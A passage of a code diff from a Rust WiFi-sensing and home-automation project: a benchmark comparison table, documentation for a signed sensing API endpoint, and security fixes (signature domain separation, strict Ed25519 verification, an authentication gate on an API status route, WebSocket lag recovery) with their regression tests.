| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
|
||||
| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
|
||||
| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
|
||||
| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
|
||||
| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
|
||||
| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
|
||||
| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
|
||||
|
||||
---
|
||||
|
||||
## 5. Sources (graded)
|
||||
|
||||
| Source | Type | Grade | Used for |
|
||||
|---|---|---|---|
|
||||
| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
|
||||
| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
|
||||
| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
|
||||
| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
|
||||
| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
|
||||
| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
|
||||
| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
|
||||
| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
|
||||
| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
|
||||
| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
|
||||
|
||||
**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.
|
||||
@@ -522,6 +522,25 @@ Base URL: `http://localhost:3000` (Docker) or `http://localhost:8080` (binary de
|
||||
| `GET` | `/api/v1/mesh` | ADR-110 fleet-wide mesh sync map ([iter 29](adr/ADR-110-esp32-c6-firmware-extension.md)) | `{"nodes":{"9":{...},"12":{...}},"total":2}` |
|
||||
| `GET` | `/api/v1/nodes/:id/sync` | Single-node mesh sync snapshot (or 404) | `{"offset_us":1163565,"is_leader":false,...}` |
|
||||
| `GET` | `/api/v1/mesh/metrics` | ADR-110 mesh state in Prometheus exposition format ([iter 36](adr/ADR-110-esp32-c6-firmware-extension.md)) | `wifi_densepose_mesh_offset_us{node="9"} 1163565\n…` |
|
||||
| `GET` | `/api/field` | ADR-262 P3 — latest **signed RuField `FieldEvent`s** from the live sensing cycle, plus the signer pubkey + a `dev_signing_key` flag. Only egress-safe (P1/P2) events are surfaced; identity/biometric (P4/P5) and raw (P0) are held edge-local | `{"spec":"rufield","signer_pubkey_hex":"…","dev_signing_key":true,"events":[…]}` |
|
||||
|
||||
### RuField surface (ADR-262 P3)
|
||||
|
||||
RuView's live WiFi-CSI sensing now also speaks the standalone **RuField MFS** wire format. Each governed sensing cycle is converted (via the `wifi-densepose-rufield` anti-corruption bridge) into a **signed** `FieldEvent` (`Modality::WifiCsi`, ed25519 `ProvenanceRef`) and surfaced on two additive endpoints:
|
||||
|
||||
- `GET /api/field` — the most recent signed events (JSON).
|
||||
- `GET /ws/field` — a WebSocket that streams each cycle's signed event (mirrors `/ws/sensing`).
|
||||
|
||||
```bash
|
||||
curl -s http://localhost:3000/api/field | python -m json.tool # latest signed FieldEvents
|
||||
python -c "import asyncio,websockets; asyncio.run((lambda: websockets.connect('ws://localhost:8765/ws/field'))())" # stream
|
||||
```
|
||||
|
||||
Privacy is fail-closed: only egress-safe **P1/P2** events leave the box — raw (P0) and identity/biometric/aggregate (P3–P5) cycles are held **edge-local** and never appear on these endpoints; a no-presence cycle emits **no event**.
|
||||
|
||||
**Signing key:** the surface signs with a **dedicated dev/sensing key**, seeded from `WDP_RUFIELD_SIGNING_SEED` (a 64-char hex string or a ≥32-byte value); when unset it falls back to a deterministic dev default and logs a `WARN` (the `dev_signing_key` flag in `/api/field` reflects this). This is a standalone key pending the ADR-262 §8 Q1 key-ownership decision — set `WDP_RUFIELD_SIGNING_SEED` for any real deployment.
|
||||
|
||||
> **Honesty (ADR-262 §0/§6):** this is real plumbing on a live endpoint, **not an accuracy claim.** It is the single-link CSI sensing with its existing caveats (no validated room-coordinate accuracy — positions are the "strongest field peak", not calibrated triangulation).
|
||||
|
||||
### Example: Get fleet mesh state (ADR-110)
|
||||
|
||||
|
||||
Generated
+49
@@ -7085,6 +7085,42 @@ dependencies = [
|
||||
"smallvec",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-core"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"serde",
|
||||
"serde_json",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-fusion"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"rufield-core",
|
||||
"rufield-provenance",
|
||||
"serde",
|
||||
"toml 0.8.23",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-privacy"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"rufield-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rufield-provenance"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"ed25519-dalek",
|
||||
"rufield-core",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rumqttc"
|
||||
version = "0.24.0"
|
||||
@@ -11045,6 +11081,18 @@ dependencies = [
|
||||
"tower-http",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wifi-densepose-rufield"
|
||||
version = "0.3.0"
|
||||
dependencies = [
|
||||
"rufield-core",
|
||||
"rufield-fusion",
|
||||
"rufield-privacy",
|
||||
"rufield-provenance",
|
||||
"serde",
|
||||
"serde_json",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wifi-densepose-ruvector"
|
||||
version = "0.3.2"
|
||||
@@ -11094,6 +11142,7 @@ dependencies = [
|
||||
"wifi-densepose-engine",
|
||||
"wifi-densepose-geo",
|
||||
"wifi-densepose-hardware",
|
||||
"wifi-densepose-rufield",
|
||||
"wifi-densepose-signal",
|
||||
"wifi-densepose-wifiscan",
|
||||
"wifi-densepose-worldgraph",
|
||||
|
||||
@@ -72,6 +72,11 @@ members = [
|
||||
"crates/homecore-assist", # ADR-133 — HOMECORE voice assistant + ruflo bridge
|
||||
"crates/homecore-server", # iter-9 — HOMECORE integration binary (all 8 crates wired together)
|
||||
"crates/ruview-swarm", # ADR-148 — drone swarm control system
|
||||
# ADR-262 P1 — anti-corruption bridge converting RuView WiFi-CSI sensing
|
||||
# output into signed RuField FieldEvents. Path-deps the `vendor/rufield`
|
||||
# submodule crates (rufield-core/-provenance/-privacy/-fusion); single
|
||||
# coupling point between RuView and the standalone RuField MFS spec.
|
||||
"crates/wifi-densepose-rufield",
|
||||
]
|
||||
# ADR-040: WASM edge crate targets wasm32-unknown-unknown (no_std),
|
||||
# excluded from workspace to avoid breaking `cargo test --workspace`.
|
||||
|
||||
@@ -102,19 +102,43 @@ pub struct WitnessEvent {
|
||||
pub this_hash: WitnessHash,
|
||||
}
|
||||
|
||||
/// Domain-separation tag prefixing every witness canonical message.
|
||||
///
|
||||
/// This is the *domain tag* half of the "domain-tag + length-prefix"
|
||||
/// rule for any hashed/signed message whose fields are
|
||||
/// operator-influenceable. The witness chain already length-prefixes
|
||||
/// `kind` and `payload` (preventing intra-protocol concatenation
|
||||
/// forgery); the tag adds cross-protocol separation so a SHA-256
|
||||
/// preimage / Ed25519 message produced here can never be re-interpreted
|
||||
/// as a message from another signing context that shares key
|
||||
/// infrastructure — notably ADR-116's *manifest* `binary_signature`
|
||||
/// (Ed25519 over `binary_sha256`), which ADR-262 P2 reuses this exact
|
||||
/// chain for. A signature is only ever valid for the one domain whose
|
||||
/// tag it commits to.
|
||||
///
|
||||
/// The trailing NUL terminates the version string so a future
|
||||
/// migration (Blake3, extra fields, Merkle tier) bumps the tag instead
|
||||
/// of silently colliding with v1 bundles.
|
||||
pub const WITNESS_DOMAIN_TAG: &[u8] = b"cog-ha-matter/witness-event/v1\x00";
|
||||
|
||||
/// Compute the canonical-bytes form an event is hashed over.
|
||||
///
|
||||
/// The format is intentionally simple and length-prefixed so a
|
||||
/// future migration can be staged with a `version` byte in front
|
||||
/// without ambiguity:
|
||||
/// The format is domain-tagged and length-prefixed:
|
||||
///
|
||||
/// ```text
|
||||
/// prev_hash[32] | seq:u64-be | ts:u64-be | kind_len:u32-be | kind | payload_len:u32-be | payload
|
||||
/// DOMAIN_TAG | prev_hash[32] | seq:u64-be | ts:u64-be
|
||||
/// | kind_len:u32-be | kind | payload_len:u32-be | payload
|
||||
/// ```
|
||||
///
|
||||
/// Length-prefixing prevents the classic "concatenation forgery"
|
||||
/// attack where `"abc" + "def"` and `"ab" + "cdef"` would hash the
|
||||
/// same.
|
||||
/// * The leading [`WITNESS_DOMAIN_TAG`] gives cross-protocol
|
||||
/// separation: bytes signed/hashed here cannot be replayed as a
|
||||
/// message for another Ed25519 context in the same trust chain
|
||||
/// (e.g. the manifest `binary_signature`). It also carries a format
|
||||
/// version for staged migrations.
|
||||
/// * Length-prefixing `kind` and `payload` prevents the classic
|
||||
/// "concatenation forgery" where `"abc" + "def"` and `"ab" + "cdef"`
|
||||
/// would hash the same. The fixed-width `prev_hash`/`seq`/`ts`
|
||||
/// fields are self-delimiting.
|
||||
pub fn canonical_bytes(
|
||||
prev_hash: WitnessHash,
|
||||
seq: u64,
|
||||
@@ -123,7 +147,10 @@ pub fn canonical_bytes(
|
||||
payload: &[u8],
|
||||
) -> Vec<u8> {
|
||||
let kind_bytes = kind.as_bytes();
|
||||
let mut out = Vec::with_capacity(32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len());
|
||||
let mut out = Vec::with_capacity(
|
||||
WITNESS_DOMAIN_TAG.len() + 32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len(),
|
||||
);
|
||||
out.extend_from_slice(WITNESS_DOMAIN_TAG);
|
||||
out.extend_from_slice(&prev_hash.0);
|
||||
out.extend_from_slice(&seq.to_be_bytes());
|
||||
out.extend_from_slice(×tamp_unix_s.to_be_bytes());
|
||||
@@ -466,11 +493,51 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canonical_bytes_starts_with_prev_hash() {
|
||||
fn canonical_bytes_starts_with_domain_tag_then_prev_hash() {
|
||||
// Locks the on-wire format. A future migration that flips
|
||||
// field order must bump a version byte and update this test.
|
||||
// field order must bump the domain tag and update this test.
|
||||
let bytes = canonical_bytes(WitnessHash([7u8; 32]), 1, 2, "k", b"p");
|
||||
assert_eq!(&bytes[..32], &[7u8; 32]);
|
||||
let tag = WITNESS_DOMAIN_TAG.len();
|
||||
assert_eq!(&bytes[..tag], WITNESS_DOMAIN_TAG);
|
||||
assert_eq!(&bytes[tag..tag + 32], &[7u8; 32]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canonical_bytes_is_domain_separated() {
|
||||
// Cross-protocol separation: the witness preimage must begin
|
||||
// with the domain tag so its SHA-256 / Ed25519 message can
|
||||
// never be reinterpreted as a message from another signing
|
||||
// context that shares key infrastructure (e.g. the manifest
|
||||
// `binary_signature` over `binary_sha256`). Fails on the old
|
||||
// un-tagged encoding, which began directly with `prev_hash`.
|
||||
let bytes = canonical_bytes(WitnessHash::GENESIS, 0, 0, "k", b"p");
|
||||
assert!(
|
||||
bytes.starts_with(WITNESS_DOMAIN_TAG),
|
||||
"canonical message is not domain-separated"
|
||||
);
|
||||
// The tag is versioned and NUL-terminated.
|
||||
assert!(WITNESS_DOMAIN_TAG.ends_with(b"\x00"));
|
||||
assert!(WITNESS_DOMAIN_TAG.windows(2).any(|w| w == b"v1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn witness_preimage_cannot_collide_with_a_bare_manifest_digest() {
|
||||
// The manifest `binary_signature` signs a bare 64-byte
|
||||
// SHA-256 hex string. A witness preimage must never *equal*
|
||||
// such a string, even if an operator crafted kind/payload to
|
||||
// try — the domain tag (33 bytes) + fixed 48-byte prefix make
|
||||
// the witness message structurally longer and tag-distinct.
|
||||
// Fails on the old encoding only if it could ever produce a
|
||||
// 64-byte all-hex message; the tag makes the impossibility
|
||||
// explicit and regression-guarded.
|
||||
let manifest_digest_msg = "a".repeat(64); // 64 ASCII hex bytes
|
||||
let witness = canonical_bytes(WitnessHash::GENESIS, 0, 0, "", b"");
|
||||
assert_ne!(witness.as_slice(), manifest_digest_msg.as_bytes());
|
||||
assert!(
|
||||
witness.len() > manifest_digest_msg.len(),
|
||||
"domain tag must make witness preimage structurally distinct"
|
||||
);
|
||||
assert!(!witness.starts_with(b"aaaa"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
//! key store (separate concern). Tests use a fixed-bytes seed for
|
||||
//! determinism — never check in real Seed keys here.
|
||||
|
||||
use ed25519_dalek::{Signature, Signer, SigningKey, Verifier, VerifyingKey};
|
||||
use ed25519_dalek::{Signature, Signer, SigningKey, VerifyingKey};
|
||||
|
||||
use crate::witness::{canonical_bytes, WitnessEvent};
|
||||
|
||||
@@ -58,6 +58,16 @@ pub fn sign_event(event: &WitnessEvent, key: &SigningKey) -> Signature {
|
||||
/// Verify an Ed25519 signature against a witness event using the
|
||||
/// Seed's public key. `Ok(())` iff the signature is valid for the
|
||||
/// event's canonical bytes under this key.
|
||||
///
|
||||
/// Uses `verify_strict` (not the permissive `Verifier::verify`) on
|
||||
/// purpose: for a tamper-evident *audit* chain the signature is the
|
||||
/// attestation, so non-canonical encodings and small-order public
|
||||
/// keys must be rejected. `verify_strict` enforces RFC 8032's
|
||||
/// stricter checks, giving the "one canonical signature per event"
|
||||
/// property an auditor relies on when comparing or deduplicating
|
||||
/// signed witness records. The public key is caller-pinned (the
|
||||
/// Seed's known verifying key) — never parsed from the event — so a
|
||||
/// forged event carrying its own key cannot self-verify.
|
||||
pub fn verify_signature(
|
||||
event: &WitnessEvent,
|
||||
signature: &Signature,
|
||||
@@ -71,7 +81,7 @@ pub fn verify_signature(
|
||||
&event.payload,
|
||||
);
|
||||
public_key
|
||||
.verify(&bytes, signature)
|
||||
.verify_strict(&bytes, signature)
|
||||
.map_err(|_| SignatureVerifyError::Invalid)
|
||||
}
|
||||
|
||||
@@ -140,6 +150,58 @@ mod tests {
|
||||
verify_signature(&event, &sig, &public).expect("clean signature verifies");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn signature_commits_to_domain_tag_not_bare_fields() {
|
||||
// The signature is over the domain-tagged canonical bytes. A
|
||||
// signature produced over the *un-tagged* concatenation of the
|
||||
// same fields must NOT verify — proving cross-protocol
|
||||
// separation reaches the signature layer, not just the hash.
|
||||
// Fails on the old encoding where the signed message began
|
||||
// directly with `prev_hash` (no tag).
|
||||
use ed25519_dalek::Signer;
|
||||
let key = fixed_key();
|
||||
let public = key.verifying_key();
|
||||
let event = fresh_event();
|
||||
|
||||
// Hand-build the OLD (un-tagged) preimage and sign it.
|
||||
let mut untagged = Vec::new();
|
||||
untagged.extend_from_slice(&event.prev_hash.0);
|
||||
untagged.extend_from_slice(&event.seq.to_be_bytes());
|
||||
untagged.extend_from_slice(&event.timestamp_unix_s.to_be_bytes());
|
||||
untagged.extend_from_slice(&(event.kind.len() as u32).to_be_bytes());
|
||||
untagged.extend_from_slice(event.kind.as_bytes());
|
||||
untagged.extend_from_slice(&(event.payload.len() as u32).to_be_bytes());
|
||||
untagged.extend_from_slice(&event.payload);
|
||||
let old_sig = key.sign(&untagged);
|
||||
|
||||
// The current verifier (which uses the domain-tagged message)
|
||||
// must reject a signature made over the un-tagged bytes.
|
||||
let err = verify_signature(&event, &old_sig, &public).unwrap_err();
|
||||
assert_eq!(err, SignatureVerifyError::Invalid);
|
||||
|
||||
// Sanity: the proper signature still verifies.
|
||||
let good = sign_event(&event, &key);
|
||||
verify_signature(&event, &good, &public).expect("tagged signature verifies");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn verify_uses_strict_path_and_pins_caller_key() {
|
||||
// Regression guard: verification must run through the strict
|
||||
// path against a CALLER-supplied key. A wrong key fails; the
|
||||
// event never carries its own verifying key, so a forged event
|
||||
// cannot self-attest. (verify_strict additionally rejects
|
||||
// non-canonical / small-order encodings.)
|
||||
let key = fixed_key();
|
||||
let wrong = SigningKey::from_bytes(b"another-wrong-key-another-wrong-");
|
||||
let event = fresh_event();
|
||||
let sig = sign_event(&event, &key);
|
||||
verify_signature(&event, &sig, &key.verifying_key()).expect("right key verifies");
|
||||
assert_eq!(
|
||||
verify_signature(&event, &sig, &wrong.verifying_key()).unwrap_err(),
|
||||
SignatureVerifyError::Invalid
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn verify_rejects_signature_under_wrong_key() {
|
||||
let key = fixed_key();
|
||||
|
||||
@@ -12,8 +12,20 @@ use crate::state::SharedState;
|
||||
#[derive(Serialize)]
|
||||
pub struct ApiRunning { message: &'static str }
|
||||
|
||||
pub async fn api_root() -> Json<ApiRunning> {
|
||||
Json(ApiRunning { message: "API running." })
|
||||
/// `GET /api/` — the HA `APIStatusView` ("API running." ping).
|
||||
///
|
||||
/// Security (HC-API-AUTH-01): HA's `APIStatusView` inherits
|
||||
/// `requires_auth = True` from `HomeAssistantView`, so an unauthenticated
|
||||
/// (or wrong-token) request to `/api/` returns **401**, not 200. HA
|
||||
/// clients (and the companion app) rely on this status route as a
|
||||
/// *token-validation probe* — a 200 here would tell a client a bad token
|
||||
/// is good, and would let an unauthenticated party confirm a live
|
||||
/// HOMECORE-API endpoint. The P2 handler skipped the bearer gate that
|
||||
/// every sibling route applies; this restores wire-compat by validating
|
||||
/// the bearer like `get_config`/`get_states` before replying.
|
||||
pub async fn api_root(headers: HeaderMap, State(s): State<SharedState>) -> ApiResult<Json<ApiRunning>> {
|
||||
let _ = BearerAuth::from_headers(&headers, s.tokens()).await?;
|
||||
Ok(Json(ApiRunning { message: "API running." }))
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
|
||||
@@ -298,7 +298,17 @@ impl Connection {
|
||||
}
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(_) => break,
|
||||
// A slow consumer that falls >4,096 events behind
|
||||
// gets `Lagged(n)`, which is RECOVERABLE: the bus
|
||||
// doc (`bus.rs` §"Lagged receivers must re-sync")
|
||||
// and HA's WS contract both keep the subscription
|
||||
// alive across a lag. The pre-fix `Err(_) => break`
|
||||
// treated `Lagged` as fatal, silently killing the
|
||||
// client's event stream on a burst (HC-WS-LAG-01).
|
||||
// Skip the dropped window and continue; only a
|
||||
// `Closed` sender ends the task.
|
||||
Err(broadcast::error::RecvError::Lagged(_)) => continue,
|
||||
Err(broadcast::error::RecvError::Closed) => break,
|
||||
},
|
||||
evt = domain_rx.recv() => match evt {
|
||||
Ok(de) => {
|
||||
@@ -316,7 +326,12 @@ impl Connection {
|
||||
if tx_clone.send(payload.to_string()).is_err() { break; }
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
// Same recoverable-lag handling as the system arm
|
||||
// above (HC-WS-LAG-01): a lagged domain-event
|
||||
// receiver re-syncs and continues; only `Closed`
|
||||
// terminates the subscription.
|
||||
Err(broadcast::error::RecvError::Lagged(_)) => continue,
|
||||
Err(broadcast::error::RecvError::Closed) => break,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,3 +75,72 @@ async fn from_env_path_enforces_whitelist() {
|
||||
assert!(!store.is_valid("not_in_whitelist").await);
|
||||
assert!(!store.is_dev_mode().await, "from_env must NOT be dev mode");
|
||||
}
|
||||
|
||||
// ─── HC-API-AUTH-01: `GET /api/` must be auth-gated like every sibling ───
|
||||
//
|
||||
// HA's `APIStatusView` inherits `requires_auth = True`, so `/api/` returns
|
||||
// 401 for a missing/wrong bearer and 200 only for a valid one. The pre-fix
|
||||
// `api_root` took no headers and unconditionally returned 200 — these two
|
||||
// tests FAIL on that code.
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_root_rejects_missing_bearer() {
|
||||
let app = router(provisioned_state("the_real_token").await);
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"GET /api/ with NO bearer must be 401 (HC-API-AUTH-01) — HA's \
|
||||
APIStatusView requires_auth=True; a 200 here lets an \
|
||||
unauthenticated party confirm a live endpoint and tells a \
|
||||
token-validation probe a bad token is good"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_root_rejects_wrong_bearer() {
|
||||
let app = router(provisioned_state("the_real_token").await);
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.header("Authorization", "Bearer the_wrong_token")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"GET /api/ with a WRONG bearer must be 401 (HC-API-AUTH-01)"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_root_accepts_correct_bearer() {
|
||||
let app = router(provisioned_state("the_real_token").await);
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.header("Authorization", "Bearer the_real_token")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::OK,
|
||||
"GET /api/ with the correct bearer must still return 200 (API running.)"
|
||||
);
|
||||
}
|
||||
|
||||
@@ -166,3 +166,100 @@ async fn ping_pong_reply_is_received() {
|
||||
assert_eq!(reply["type"], "pong");
|
||||
assert_eq!(reply["id"], 7);
|
||||
}
|
||||
|
||||
/// Variant of [`spawn_server_with_token`] that also returns a `HomeCore`
|
||||
/// handle (cheap `Arc` clone) so the test can fire events into the *same*
|
||||
/// bus the served subscription reads from.
|
||||
async fn spawn_server_returning_homecore(valid_token: &str) -> (SocketAddr, HomeCore) {
|
||||
let hc = HomeCore::new();
|
||||
let tokens = LongLivedTokenStore::empty();
|
||||
tokens.register(valid_token).await;
|
||||
let state = SharedState::with_tokens(hc.clone(), "Test", "test-version", tokens);
|
||||
let app = router(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let addr = listener.local_addr().unwrap();
|
||||
tokio::spawn(async move {
|
||||
axum::serve(listener, app).await.unwrap();
|
||||
});
|
||||
(addr, hc)
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn subscription_survives_broadcast_lag() {
|
||||
// HC-WS-LAG-01: the per-subscription event task must treat a broadcast
|
||||
// `Lagged(n)` as RECOVERABLE (re-sync + continue), matching the bus
|
||||
// contract ("Lagged receivers must re-sync") and HA's WS semantics.
|
||||
//
|
||||
// The pre-fix `Err(_) => break` killed the whole event-stream task on
|
||||
// the first lag, so after a >4,096-event burst the client's stream
|
||||
// went permanently silent. This test fires far more than the 4,096
|
||||
// channel capacity to force a `Lagged`, then fires ONE more event and
|
||||
// asserts the subscription still delivers it. FAILS (5s timeout) on
|
||||
// the old code because the task is already dead.
|
||||
use homecore::{Context, DomainEvent};
|
||||
|
||||
let (addr, hc) = spawn_server_returning_homecore("good_token_abc").await;
|
||||
let url = format!("ws://{addr}/api/websocket");
|
||||
let (mut ws, _resp) = connect_async(&url).await.unwrap();
|
||||
|
||||
let _ = next_json(&mut ws).await; // auth_required
|
||||
ws.send(Message::Text(
|
||||
serde_json::json!({"type":"auth","access_token":"good_token_abc"}).to_string(),
|
||||
))
|
||||
.await
|
||||
.unwrap();
|
||||
let auth = next_json(&mut ws).await;
|
||||
assert_eq!(auth["type"], "auth_ok");
|
||||
|
||||
// Subscribe to a specific domain event type so unrelated traffic is
|
||||
// filtered out and we can deterministically match the post-lag event.
|
||||
ws.send(Message::Text(
|
||||
serde_json::json!({"id": 1, "type": "subscribe_events", "event_type": "lag_probe"})
|
||||
.to_string(),
|
||||
))
|
||||
.await
|
||||
.unwrap();
|
||||
let ack = next_json(&mut ws).await; // result ok for the subscribe
|
||||
assert_eq!(ack["type"], "result");
|
||||
assert_eq!(ack["success"], true);
|
||||
|
||||
// Flood the bus far past EVENT_CHANNEL_CAPACITY (4,096) with events the
|
||||
// subscription FILTERS OUT (different event_type). Because the client
|
||||
// never reads them off the WS, the server-side broadcast receiver falls
|
||||
// behind and the NEXT `recv()` yields `Lagged`. We fire synchronously
|
||||
// and don't yield to the WS reader, guaranteeing the overflow.
|
||||
for i in 0..6000u32 {
|
||||
hc.bus().fire_domain(DomainEvent::new(
|
||||
"noise",
|
||||
serde_json::json!({ "i": i }),
|
||||
Context::new(),
|
||||
));
|
||||
}
|
||||
|
||||
// Now fire the event the client IS subscribed to. On the fixed code the
|
||||
// task recovered from `Lagged` and continues, so this is delivered. On
|
||||
// the old code the task broke on `Lagged` and this never arrives.
|
||||
hc.bus().fire_domain(DomainEvent::new(
|
||||
"lag_probe",
|
||||
serde_json::json!({ "marker": "post-lag" }),
|
||||
Context::new(),
|
||||
));
|
||||
|
||||
// Drain frames until we see our post-lag event (ignoring any noise the
|
||||
// filter let slip before the lag), bounded by a timeout.
|
||||
let got = tokio::time::timeout(std::time::Duration::from_secs(5), async {
|
||||
loop {
|
||||
let v = next_json(&mut ws).await;
|
||||
if v["type"] == "event" && v["event"]["event_type"] == "lag_probe" {
|
||||
return v;
|
||||
}
|
||||
}
|
||||
})
|
||||
.await
|
||||
.expect(
|
||||
"subscription went silent after a broadcast lag — Lagged was treated \
|
||||
as fatal (HC-WS-LAG-01)",
|
||||
);
|
||||
assert_eq!(got["event"]["data"]["marker"], "post-lag");
|
||||
}
|
||||
|
||||
@@ -149,6 +149,44 @@ mod tests {
|
||||
assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embeddings_are_structurally_finite() {
|
||||
// SECURITY (NaN-poisoning): the embedding path takes only `&str` and
|
||||
// produces values via FNV feature-hashing + a guarded L2 normalise.
|
||||
// There is NO external float input and NO unguarded division, so a
|
||||
// crafted utterance cannot inject NaN/±Inf into a vector and poison the
|
||||
// cosine k-NN match. Prove every component is finite across adversarial
|
||||
// inputs (empty, punctuation-only, unicode, very long, control chars).
|
||||
for s in [
|
||||
"",
|
||||
"!!! ???",
|
||||
"turn on the kitchen light",
|
||||
"🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
|
||||
&"x".repeat(10_000),
|
||||
"NaN inf -inf 1e999",
|
||||
] {
|
||||
let v = embed(s);
|
||||
